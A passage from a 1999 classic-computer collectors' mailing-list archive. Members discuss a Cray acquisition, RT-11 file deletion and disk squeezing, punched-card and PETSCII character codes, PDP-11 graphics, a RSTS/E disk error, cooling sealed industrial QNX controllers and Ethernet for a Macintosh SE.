Ward Donald Griffiths III said... | |There are those who might say that all of my computers are powered by |a crank -- though all I often do is flick the switch, the electricity |comes out of the wall. Run by a crank is different than powered by a crank! From jonathan at canuck.com Tue Jan 12 02:19:01 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:40:01 2005 Subject: supers In-Reply-To: <199901120802.AAA02600@lists3.u.washington.edu> from "classiccmp@u.washington.edu" at Jan 12, 99 00:02:03 am Message-ID: <199901120819.BAA07186@canuck.com> William Donzelli desperately wished to know: > > That's why we're after our first Cray, > > Please tell... Not much to tell yet. It's a YMP-EL/98, the 8-cpu version of the air-cooled "baby's first Cray" series. It's been promised to us, but there's a certain amount of corporate bureaucracy left to clear. Apparently we're going to be asked to vow not to sell the machine - or cycles - to terrorists or other unsavory sorts. Whether participating in distributed crypto challenges (like RC5) qualifies as "unsavory" is yet to be determined. At the moment, we know of two other machines of the same family that are now in private hands. More news when we've got it. Jonathan From geoffrob at stmarks.pp.catholic.edu.au Tue Jan 12 02:56:44 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:01 2005 Subject: supers Message-ID: <015c01be3e09$7b236ea0$c52c67cb@canopus.stmarks.pp.catholic.edu.au> -----Original Message----- From: Victor the Cleaner To: Discussion re-collecting of classic computers Date: Tuesday, 12 January 1999 19:51 Subject: supers >Not much to tell yet. It's a YMP-EL/98, the 8-cpu version of the >air-cooled "baby's first Cray" series. It's been promised to us, Congratulations. Fine catch. Just how big/fast is this thing? >but there's a certain amount of corporate bureaucracy left to >clear. Isn't there always? :^) >Whether participating in distributed crypto challenges (like RC5) >qualifies as "unsavory" is yet to be determined. Nah. I suppose some might think it "unsporting", but it's just jealousy...:^) >At the moment, we know of two other machines of the same family >that are now in private hands. Well, at least you don't have to set a precedent..... >More news when we've got it. Be very interested to hear how you get on. Especially if you get it running. Cheers Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia. My ICQ# is 1970476 Ph. 61-411-623-978 (Mobile) 61-8-8633-0619 (Home) 61-8-8633-8834 (Work-Direct) 61-8-8633-0104 (Fax) From Hans.Franke at mch20.sbs.de Tue Jan 12 06:29:33 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:01 2005 Subject: Recent Findings In-Reply-To: <3694E93C.788A184A@rain.org> Message-ID: <199901121130.LAA15741@nixpbe.pdb.sni.de> > Re: the Kim-1, there was also Educassette Computer Aid Digital Data Recorder > with docs that is believed to have gone with the Kim-1. It looks like a > neat system and the description reads "Uses the industry standard tape > saturation method to beat all FSK systems ten to one. No modems or FSK > decoders required. Loads 8K of memory in 17 seconds ..." There is a tape > in it labeled 8080 software. I suspect the tape at least was not used in > the Kim-1 :). Maybe with the Z80 emulator ? :)) H. -- Ich denke, also bin ich, also gut HRK From dogas at leading.net Tue Jan 12 06:48:05 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:01 2005 Subject: RT-11 Help Message-ID: <01be3e29$cc8370e0$f9c962cf@devlaptop> Thanks for the URL, Zane. Looks like I'll have to turn on the Bat... errr... Magen signal. ;) *throwing switch* - Mike: dogas@leading.net -----Original Message----- From: Zane H. Healy To: Discussion re-collecting of classic computers Date: Tuesday, January 12, 1999 1:29 AM Subject: Re: RT-11 Help >>I dont know RT-11 (yet.) and am looking forward to the experience. But >>before that happens the seller wants to purge some sensitive employee files >>on the system. Can someone tell me how to tell him to 1) move through the >>directory structure, and 2) how to delete specific files ( some that span >>partitions 0 - du4 according to him ), and... > >No idea on this I'm afriad. My RT-11 system is no where near this complex yet. > >>Where can I find a good source of RT-11 info? > >The RT-11 manuals, and good luck finding a set :^( > >On the other hand the following URL will have some basic info if you take >the time to do some serious looking. It also has all kinds of other >interesting info, DEC and other. >http://www-ols.fnal.gov/ols/documents/docpn.html Of course this is all >pretty specific to some government lab. Wish they had more of the >documentation they list on line. > > Zane > >| Zane H. Healy | UNIX Systems Adminstrator | >| healyzh@aracnet.com (primary) | Linux Enthusiast | >| healyzh@holonet.net (alternate) | Classic Computer Collector | >+----------------------------------+----------------------------+ >| Empire of the Petal Throne and Traveller Role Playing, | >| and Zane's Computer Museum. | >| http://www.dragonfire.net/~healyzh/ | > From pechter at monmouth.com Tue Jan 12 07:10:04 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:01 2005 Subject: RT - the rude, the bad, and the ugly In-Reply-To: <19990112022244.16246.qmail@brouhaha.com> from Eric Smith at "Jan 12, 99 02:22:44 am" Message-ID: <199901121310.IAA18404@pechter.ddns.org> > Miles O'Neal wrote: > > [Which isn't that great, but fine for what it was intended for. > > Just like an IBM 3101. Truly the Mack Truck of ASCII terminals.] > > Does it use ANSI escape sequences etc., or did IBM invent their own? > > From pechter at monmouth.com Tue Jan 12 07:17:07 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:01 2005 Subject: RT-11 Help In-Reply-To: <01be3dc2$c3bf5a80$e6c962cf@devlaptop> from Mike at "Jan 11, 99 07:30:32 pm" Message-ID: <199901121317.IAA18538@pechter.ddns.org> > > Finally.... Jacksonville pays off.... Do you know who many times I've seen > computer x available in y, for pickup only, where y does not equal > Jacksonville. I've got two SMS 1000s comming this weekend, a model 50 and > 40, and two expansion boxes (41's ???) full of serial io running RT-11 for a > defunct cardkey system. > > I dont know RT-11 (yet.) and am looking forward to the experience. But > before that happens the seller wants to purge some sensitive employee files > on the system. Can someone tell me how to tell him to 1) move through the > directory structure, and 2) how to delete specific files ( some that span > partitions 0 - du4 according to him ), and... > > Where can I find a good source of RT-11 info? > > Thanks > - Mike: dogas@leading.net > > > > RT11 all versions use a single flat directory per drive. dir DX0: (version 4.x 5.x) would list the directory for the first RX01 floppy. You should be able to do the same with du0: through du4: Older versions didn't have the DCL built on top of the lower level commands and pip dx0:*.* /li (I think) would get a directory list. It's been over 15 years since I did the latter. My brain may have dropped bits on that one. Bill --- " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" -David Filo, Yahoo! From Hans.Franke at mch20.sbs.de Tue Jan 12 08:29:58 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:01 2005 Subject: 5.25" Floppies on a P2 system In-Reply-To: Message-ID: <199901121330.NAA22965@nixpbe.pdb.sni.de> > OK, I realize the subject line looks off topic, but it really isn't since > this deals with handling and archiving classic media. I seem to recall > someone mentioning some of the utilities such as 'putr', 'teledisk', and > various other won't work on a modern PC with a 5.25" floppy drive attached. > Am I remembering correctly? If so does anyone remember which programs are > effected? This could be unit specific, I don't know. In fact, I had a similar problem writing 720K media written on a 1.2M drive, so I added a 720K FD. This PC (a V20 XT with 1x3,5" 720 MB, 1x3",1x5,25" 720 MB and 1x5,25" 1.2MB) is still in use for media conversation - I added the 3" for Schneider/Amstrad CP/M disks. Gruss h. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Tue Jan 12 09:02:23 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:01 2005 Subject: y2k stuff In-Reply-To: References: <199901112000.UAA14467@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 11, 99 09:00:19 pm Message-ID: <199901121403.OAA25482@nixpbe.pdb.sni.de> > > Nop - or better partly correct - it is true that not every punch > > combination was legel (that would be 4096 possible) but at least ------------ > > there was a legal combination for any possible 8-Bit combination. > > Otherways I would have been impossible to boot from a punch card > > reader ! > Since when do all machines have 8-bit instructions, and since when do all > machines represent one instruction as one column on a card, and since > when do all machines have binary instructions? Did I say this ? I just mentioned that there is a legal (within IBM style 12 row cards) method to code all opssible 256 combinations for 8 bit bytes - starting from 12,0,9,8,1 for x'00' up to 12,11, 0,9,8,7 for x'FF'. I see no way why such a thing is conected to an 8 bit instruction - it's only the way to encode a byte on one columne, which gives 80 bytes on a card - enough for the first step of a boot loader > There is no requirement for 256 legal punchings in a column AFAIK. Just to enter raw binary data from punch cards, and of course to boot a machine - my main experiance about that comes from the /370 world, or more exactly from SIEMENS /370 compatible systems. I still love the simple but _extremly_ variable structure of almost everything within this systems. You just entered a valid device address via two turning wheels and hit the load button - no matter if it was a tape, a disk, a card reader, a magnetic card reader, a punch tape reader or what ever (later on even FD drives), the machine starts the IPL from this device - just reads the first available block and execute it - simple and powerfull - no boot manager, no nothing, just any device - you could run the computer just with card reader and card puncher (if you wanted to have an output :). > As an aside, the Philips P850 series have machine-code bootstrap tapes > that only use printable characters. A single (16 bit binary) machine word > is stored as 4 characters on the paper tape. The requirements are : > 1) There must be at least one hole punched per character, apart from the > leader which is all nuls > 2) the lower 4 bits of the character are the binary encoding of that nybble. Talking about paper tapes ? > That's all. I normally use the characters @ to O when I write tapes. > Philips tapes use 0-9 and J-O I think. > This machine, therefore will boot from a tape containing only a subset of > all possible punchings. And I can well believe some card-based machines > would do the same. At least /360, /370ish machines want binaty data from boot devices. > > > Anyway, a 'byte', or more particularly a character, is not necessarily 8 > > > bits. It may be _now_, but it wasn't then. > > I love your comments (and I guess you had also some contact with > > these 9 Bit Byte Bull Mini computers :) > I've come across enough machines that use 6-bit characters internally.... 6 Bit ? thats new - I never have seen a 6 Bit byte computer - I know 6 Bit only from some serial line encodings. Servus H. -- Ich denke, also bin ich, also gut HRK From cfandt at netsync.net Tue Jan 12 08:23:47 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:01 2005 Subject: R.I.P. Hayes In-Reply-To: References: <199901091839.NAA01825@localhost> Message-ID: <199901121424.JAA08791@quartz.netsync.net> At 01:44 PM 1/9/99 -0500, you wrote: >On Sat, 9 Jan 1999 rhblake@bigfoot.com wrote: > >> They still have an active and alive webpage at http://www.hayes.com/ without any >> mention of demise. Where did you get this info? > >ZDNet. I think Hayes probably forgot to update their webpage, they >probably have better things to do. More likely, no one is still employed there who can handle changing webpages or even know how to shut down the webserver. Probably just a few beancounters kept by the the bank(s) are still there to cleanup the financial rubble. --Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From william at ans.net Tue Jan 12 08:33:44 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:01 2005 Subject: supers In-Reply-To: <199901120819.BAA07186@canuck.com> Message-ID: > Not much to tell yet. It's a YMP-EL/98, the 8-cpu version of the > air-cooled "baby's first Cray" series. Not only air-cooled, but more or less plug-into-the-wall as well. I envy you. > At the moment, we know of two other machines of the same family > that are now in private hands. I have had absolutely no luck in getting a supercomputer, for myself or for RCS/RI. Currently I am bothering people about a MasPar and an ETA, but both have hit brick walls. I suppose it helps to be in the right place at the right time. How did you manage? William Donzelli william@ans.net From william at ans.net Tue Jan 12 08:37:35 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:01 2005 Subject: new to the list In-Reply-To: <369AC5CE.727A0B97@cnct.com> Message-ID: > How big? How heavy? What power requirements? And especially what's > the latest version of AIX available for it? (The dead UPS I'm not > worried about -- I've never seen an AIX journaled filesystem damaged > by a power failure even when I was trying to do so stress testing). They are in those IBM racks (the kind that Mr. Fandt wants) - about five feet tall, a little over 2 feet wide (a curse to anyone that wants to use the thing in a computer room with a raised floor!), and about three feet deep. I think they weigh about 700 pounds. I might (ugh!) have to strip out AIX (3.2 something, I think), as there is a lot of custom networking add-ons that can not be released. William Donzelli william@ans.net From ckaiser at oa.ptloma.edu Tue Jan 12 08:55:33 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:01 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) In-Reply-To: <19990112025244.16366.qmail@brouhaha.com> from "Eric Smith" at Jan 12, 99 02:52:44 am Message-ID: <199901121455.GAA13932@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 770 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/79d8b170/attachment.ksh From ckaiser at oa.ptloma.edu Tue Jan 12 08:57:54 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:01 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <4.1.19990111170355.009d2100@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 11, 99 05:07:27 pm Message-ID: <199901121457.GAA13996@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 682 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/e84809ec/attachment.ksh From DSEAGRAV at toad.xkl.com Tue Jan 12 08:56:02 1999 From: DSEAGRAV at toad.xkl.com (Daniel A. Seagraves) Date: Sun Feb 27 18:40:01 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <199901121457.GAA13996@oa.ptloma.edu> Message-ID: <13419314478.10.DSEAGRAV@toad.xkl.com> [Teaching a kid BASIC] No! Not BASIC! Anything but THAT! ARRRRRRGH! :) Why not teach her assembler? Start from the bottom... ------- From ckaiser at oa.ptloma.edu Tue Jan 12 09:05:55 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:02 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <199901121457.GAA13996@oa.ptloma.edu> from "Cameron Kaiser" at Jan 12, 99 06:57:54 am Message-ID: <199901121505.HAA14024@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 763 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/17e572e6/attachment.ksh From Hans.Franke at mch20.sbs.de Tue Jan 12 10:17:53 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:02 2005 Subject: character codes and punched cards (was Re: y2k stuff) In-Reply-To: <19990112025759.16393.qmail@brouhaha.com> References: <199901112000.UAA14467@nixpbe.pdb.sni.de> (Hans.Franke@mch20.sbs.de) Message-ID: <199901121518.PAA02582@nixpbe.pdb.sni.de> > > Nop - or better partly correct - it is true that not every punch > > combination was legel (that would be 4096 possible) but at least > > there was a legal combination for any possible 8-Bit combination. > > Otherways I would have been impossible to boot from a punch card > > reader ! > Still wrong. > Not all machines that had card readers could boot from cards, and even > the ones that could do so didn't necessarily have a 256-character set > (or 8-bit bytes). > For instance, the IBM 1401, which typically was booted from cards, but > had only 64 distinct characters. Shure ? the 1401 is a bit before my time, but didn't they already use 12 row cards with EBCDIC coding (like 12,1 to 12,9; 11,1 to 11,9 and 0,2 to 0,9 for A-i; J-R and S-Z) ? Gruss H -- Ich denke, also bin ich, also gut HRK From Philip.Belben at pgen.com Tue Jan 12 07:33:09 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:02 2005 Subject: Tic-tac-toe (was: RE: Bulbs in parallel) Message-ID: <802566F7.004FA4BD.00@WESTD90.pgen.co.uk> >> ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed >> tic-tac-toe? Or is a regional thing? > > Don't our "Queen's English" friends (uk and au) call it "naughts and > crosses"? Well, I _did_ call it that when I wrote a programme, sorry, program fom my PET to play it. But it was a pun on the more conventional spelling, "noughts and crosses" AFAICT, Nought = Zero, Naught = Nothing Tic-Tac-Toe is a name I had met even then, but Tit-Tat-Toe I've not come across before. Any etymological connection with Tit for Tat? Philip. From bill at chipware.com Tue Jan 12 09:36:36 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:02 2005 Subject: Dr. Dobb's article Message-ID: <000c01be3e41$56b3e8a0$bb88e9cf@yamato.chipware.com> If you haven't seen it yet, the February Dr. Dobb's has a 3/4 page blurb about computer collecting and Kevin Stumpf's _Guide_to_Collecting_Computers_and_Computer_Collectibles_ Does said author subscribe to this list? Has anyone seen the book for sale and/or bought/read it? Bill Sudbrink From mbg at world.std.com Tue Jan 12 09:49:51 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:02 2005 Subject: RT-11 Help Message-ID: <199901121549.AA03657@world.std.com> >I dont know RT-11 (yet.) and am looking forward to the experience. But >before that happens the seller wants to purge some sensitive employee >files on the system. Can someone tell me how to tell him to 1) move >through the directory structure, and 2) how to delete specific files ( >some that span partitions 0 - du4 according to him ), and... On RT-11, as with many OSes, deletion of a file simply updates the directory in some way to indicate that the file is deleted. In some OSes, it might mean removal of the directory entry which pointed to the data on disk (or the list of pointers to retrieve the info). In some, it may be to mark the directory entry as a deleted file. In the case of RT-11, it marks the disk space taken up by the file to be 'free'. But until another file is written over that data, it remains, and can be retrieved. What they can do, however, is to delete all those files which they don't want anyone to have access to, and then to 'SQUEEZE' the disk volume. The squeeze process is similar to what Windoze does when it defragments a disk volume, only RT-11 files are not fragmented - they exist as contiguous files. But the files are all moved to the beginning of the disk (low block numbers) with all the free space consolidated to the end of the disk (higher block numbers). This will result in at least those deleted files which existed between others being overwritten with files being moved. The only problem might be a deleted file at the end of the volume (or if the quantity of deleted files are sufficient that the moved files don't adequately cover the deleted ones). It should be possible to write a very short program which will determine the last block used on the (squeezed) volume, and to write null blocks to all disk blocks from there to the end of the volume. Finally, RT-11 files cannot span RT-11 disk partitions. An RT-11 file can only exist in the partition in which it is defined. It is possible, however, for a user application to make use of the system library routines which allow full access to an MSCP disk -- in which case doing the squeeze won't help. What you may want to suggest to him is to 1) Delete all sensitive files from all disk partitions 2) Squeeze all disk partitions. 3) backup all disk partitions (on a file, not device, basis) 4) FORMAT all disk partitions (RT-11 Format doesn't really do a low-level format except for specific devices, and MSCP disks are not one that it will do -- with the exception of RX33 diskettes) 5) Restore the backed-up files to all partitions. 6) Release the hardware to you... :-) >Where can I find a good source of RT-11 info? Not counting the documentation which can be purchased for it... right here is a good place... :-) Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From mbg at world.std.com Tue Jan 12 09:55:44 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:02 2005 Subject: Stupid CP/M question References: <199901091730.AA04562@world.std.com> Message-ID: <199901121555.AA09909@world.std.com> >While I realize that it would not have been possible to make >their graphics part of the standard OS for a PDP-11, I >was led to believe that the PR0 350/380 had access to >their bit mapped screen displays. While doing such >manipulations was likely discouraged, is that a true >statement of the situation and in a few lines, how was >it done? I may have a working PRO 350/380 and >it would be interesting. Yes, it is true... in fact, when the PRO was not yet real hardware, the development group had special Qbus options for their Qbus -11 systems which were very similar to what was eventually made into the bitmap graphics of the PRO. This way, the software could be developed before the hardware was ready. I have one of these proto boards. There is a minor difference between programming it and the real PRO bitmap -- two registers are swapped... However, user programs doing direct access is frowned upon since the display could get really garbled if every application which wanted to did so... So there were a set of library routines which were supplied with RT-11 which implemented GIDIS. This is essentially the same GIDIS which was distributed with P/OS. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From Philip.Belben at pgen.com Tue Jan 12 07:55:19 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:02 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) Message-ID: <802566F7.004FF363.00@WESTD90.pgen.co.uk> > Philip.Belben@PowerTech.co.uk wrote about the ASCII code that was originally > a leftward-pointing arrow, but was later redefined as underscore: > >> PET has a left arrow for that code as well. Sensible, since underscore is >> available elswhere in the character set (shift-$ IIRC) but I never knew it >> used to be standard ASCII. > > Um, no. ASCII doesn't define any shift-$ character. In fact, ASCII doesn't > define any shift characters at all. It makes no association between > characters and keystrokes. All it defines is the codes for the characters, > and the functions of some of the control characters. Note that even in > the case of control characters, it does NOT define them as being generated > by a control key together with some other key. So, for instance, there is > no proper ASCII character designated "Control-C". This style of usage is > an artifact of bit-paired keyboards, as was discussed here last week. > > ASCII originally did not have an underscore character. Since the 1968 > revision, it has an underscore but no leftward-pointing arrow. > > In any case, the Commodore PET did not use ASCII, although it used an > extended character set that was derived from ASCII. So perhaps you are > thinking of one of the Commodore line-drawing characters. Despite which fact, in PET BASIC the CODE function is replaced by the ASC function. But I think you missed my point. Was I really that unclear? Let me rephrase: The decision to use left arrow for that code was sensible because the PETSCII character set has underscore elsewhere (and I still maintain it is at shift-$ on the PET keyboard. FWIW it is indeed one of the Commodore line drawing characters, but I used it as an underscore in many text-based PET applications when I programmed the machines regularly, and I still use it as underscore in PETSCII-ASCII translation), and it would therefore be redundant to include another underscore character in the character set. If you ever get the chance, have a look at the layout of a PET chicklet keyboard. It is quite clever. PETSCII, unlike ASCII, _does_ make connections between codes for shifted keys and those for unshifted keys - on the original PET keyboard the PETSCII code difference was always 128 (the screen code difference was always 64 BTW). And yet they managed the following things: Characters with horizontal lines of pixels in all eight positions followed a simple route down and up two adjacent columns of keys, yet they managed to get bottom (shift-$), middle (shift-@) and top (sorry, can't remember. Shift-# ?) onto punctuation keys so they would be available in lower case mode. Similarly with the vertical lines in all eight pixel positions. For those pedants who say there is no middle with an 8*8 dot matrix, it was the one that lined up with the small corners and tees (shifted numbers). Large corners (two outer edges) were in a little block on shifted O, P, L and colon (or possibly semicolon). Shifted O, P and L were of course unavailable in lower case mode; shift-: became a square root sign. And so on. So although PETSCII is not ASCII, don't knock it. It worked well. Philip. PS Why is it that, whenever someone misunderstands what I say, they assume I'm wrong, and they're right. And if their interpretation of what I say is obviously silly, they berate me for saying something obviously silly, rather than stopping and thinking, Can he really have meant that? Nothing personal, I hasten to add. It happens all the time. P. From kurtkilgor at bigfoot.com Tue Jan 12 10:05:30 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:02 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff References: <13419314478.10.DSEAGRAV@toad.xkl.com> Message-ID: <369B72CA.CD302BF5@bigfoot.com> Daniel A. Seagraves wrote: > Why not teach her assembler? Start from the bottom... What processor would you choose? BASIC is a skill that would be useful on almost every computer, and with a little skill adjustment, one can code WordBasic macros :) From cfandt at netsync.net Tue Jan 12 10:08:49 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:02 2005 Subject: Weird find, QNX, and cooling In-Reply-To: References: <199901092035.NAA19633@canuck.com> Message-ID: <199901121609.LAA19242@quartz.netsync.net> At 03:48 PM 1/9/99 -0600, Doug Yowza wrote: >Hey, any industrial controller collectors out there? I didn't think so. Well, I am. That's part of my job experience -building/maintaining industrial controls. Allison has experience in this too from what I recall from her past discussions here. A few others may lurk behind the trees too. > >I just picked up an exceedingly cool 486 box from around 1993 with a >touch-screen LCD and ethernet. The entire machine is about the size of an >Amiga box, but it's in a black hermetically sealed magnesium case. It's >running QNX 4.11, and root didn't have a password (woohoo!). The Li >battery was starting to ooze corrosive juices onto the CPU, but other than >that, it's in primo shape. Clean up that mess. I'm not sure so far but I think that battery juice is a bit toxic. Be careful nevertheless. What kind of manufacturer names are on this thing? > >I have some stupid questions: Not really stupid in this case; you're just new to it. :) > >Was there a GUI for this version of QNX? I can't find one, nor anything >that exploits the touch screen on this box. There are third-party GUI's possibly available for QNX but they are costly. Wonderware's and Intellution's interfaces are around US$2k minimum for example. There may be others cheaper nowadays. These GUIs are typically refered to in the industry as Man-Machine Interface or MMI. QNX is a small realtime OS for control systems. Applications are nearly always handwritten for each installation often using a third-party supplied MMI, etc. No typical desktop apps available for QNX as far as I know. I know little about QNX and my books and catalogs are still packed in boxes after my untimely "downsizing" last year. > >There are three fans inside the box, but it's sealed. I always thought >that fans worked by exchanging hot air for cooler air. What good are >fans inside a sealed box? The industrial environment is quite tough for electronics. Depending on the factory/machine/process, much muck could be drawn into an electronics enclosure by air circulation. In machine shops as an example, tool coolants which are sprayed onto the workpiece and tool are found in the air as an aerosol mist. The aerosol is pulled into a cabinet by the fan and collects on everything. Over time there is a coating of condensed coolant which collects dust and other garbage and prevents proper cooling of critical components. I worked on a 1978 vintage 6800-based CNC controller (not 68k, but Moto's 6800 :) which had this cooling arrangement. After about 12 years I found a 1 mm thick coating of sticky coolant glop coating most everything that was not even close to the airstream of the cabinet cooling fan. Poor idea. A standard PC used in most machine shops is even asking for trouble after a period of time. Sealed Boxes Are Good. Cooling is achieved by thermal exchange between the outer surface of the enclosure and the surrounding atmosphere. Fans inside the box ensure the air is mixed to maintain contact with the inner surface and to prevent "hot spots". On systems which had to have a LOT of electronics, especially high power motor drives and a CRT display, etc. a refrigerated heat exchanger system was hung on the outside of the cabinet with its cooling surface stuck inside the enclosure. Another lower cost, simpler way is to use the venturi-effect which uses filtered compressed air blown through a venturi thus cooling the air and pressurizing the control cabinet. Air was exhausted _out_ of the controls because of the positive pressure inside. Really old machines actually had a small air conditioner placed inside the cabinet. Usually when I built control systems I made sure I could get as much surface area as possible exposed to the outside world. I used cabinets somewhat larger than needed, air moving within, free space around exterior and absolutely no open apperatures to let junk in. Insides were kept clean with fewer electronic failures. Some non-industrial computers that have no fans, especially lo-cost mass-market types, probably had their cases made such that free flow of air around the exterior would help cool things off without relying solely on their vent holes and slots. > >Long shot: the display blanks after a few minutes, and hitting a key (it >has a keyboard port) or touching the screen doesn't unblank it. Any Hard to tell without knowing something about the software written for the thing. Of course, it is not hung on the original machine at this time so there could be some sort of interconnection which would keep the controller running. Though the display blanks this could be related to a feature in just the display panel, not so much the controller. I feel the CPU is halted early on as there are no periferals to be found, so the OS hangs thus not keeping the display 'alive'. >guesses on how to wake it back up (BTW, there's no power switch on this >thing -- it wants to be on *all* the time). 24/7 is the norm for most industrial systems. The power switch for this machine was likely the big disconnect switch on either the machine or the wall from which the AC power was run to from an overhead busbar. You never shut it off unless there was an extended plant shutdown (long vacations) or machine repairs. I haven't got Netscrape back up yet because of a disaster with windoze95 (GRRRR! Don't get me started on this damned OS which cannot handle system problems correctly. The crash was incredibly uncalled for and troublesome. Grrrr.....) but I would suggest searching for a QNX website yourself. They could have some bits of info for you to pick out. Otherwise, as an "unlicensed end user", you may not get any direct help from them. They will likely send you to a local sales rep. Depending upon how sympathetic he/she is to you being a collector type you _might_ get a little assistance or even a few bits of documentation. Good luck. -- Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From mbg at world.std.com Tue Jan 12 10:09:19 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:02 2005 Subject: micro PDP-11 "Fatal RSTS/E system initialization error!" Message-ID: <199901121609.AA08871@world.std.com> >Disk is being rebuilt - wait... Sounds like the system was powered off without having run the $SHUTUP program to shutdown the system. >DU0 error UDASA P.OPCD P.STS P.BCNT P.BUFF P.BUF2 > P.LBN > 000000 000242 020006 000000 044000 000000 > 000001 > >Unrecoverable disk error on DU0 > >PC=121232 PS=030341 OV=000022 M5=001600 M6=003242 SP=041274 >R0=000000 R1=077777 R2=042125 R3=172150 R4=041410 R5=140026 > >Fatal RSTS/E system initialization error! A disk block has gone bad. Either the rebuild process was unable to read a block or unable to write one. Either way, the on-disk structure may be corrupted (someone more RSTS-saavy can explain more). The bad block is block 1 -- the home block... not good. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From heavy at ctesc.net Tue Jan 12 09:11:21 1999 From: heavy at ctesc.net (Jim Weiler) Date: Sun Feb 27 18:40:02 2005 Subject: Macintosh SE In-Reply-To: <199901120455.WAA10131@garcon.laidbak.com> References: Message-ID: van@wired.com then Paul Braun said: > >> It will be an Ethernet LAN... but I don't have the details. Yet. So I >> suppose I need to find a PDS Ethernet card for SE... (I believe it was >> specific to the SE...?) Any clue where I might find one of those? That's >> what I need, I believe. >> >I believe Asante made a scsi <> ethernet adapter. IIRC, the SE has the DB-25 >scsi port on the back. (I have an SE and an SE/30, but wouldn't ya know >they're both downstairs along with my 128k, my Plus and my Classic) > >What I'm going to try is to PhoneNet/AppleTalk all my Macs together, and then >run the NetWare client as well on my 7200 to give the ATalk network a gateway >into the NetWare environment. Hopefully, everybody will get along. That >way, I >can also use my Duo and my Portable, which still works (although only on AC, >since the battery's dead and I have other things to spend $90 on right now.) >along with the old Macs. Kinda overkill for a private home, but what the >heck. It >doesn't have to be practical. "Just because I can" usually works for me. I know nothing about Novell networks. WinNT4 might be off-topic, but a WinNT4 box makes a great Mac accessory. Along with TCP/IP and other protocols, it has Appletalk on it, and if you format a HD using WinNT4's native format (I forget what you call it), it shares just like an Apple disk. I've got a source of slightly overpriced used Apple ethernet cards and an SE (my SE-30 has an Asante in it), I can check for you if you like, might take a while for a physically compatible SE card to show up. I know another source that had a whole pile 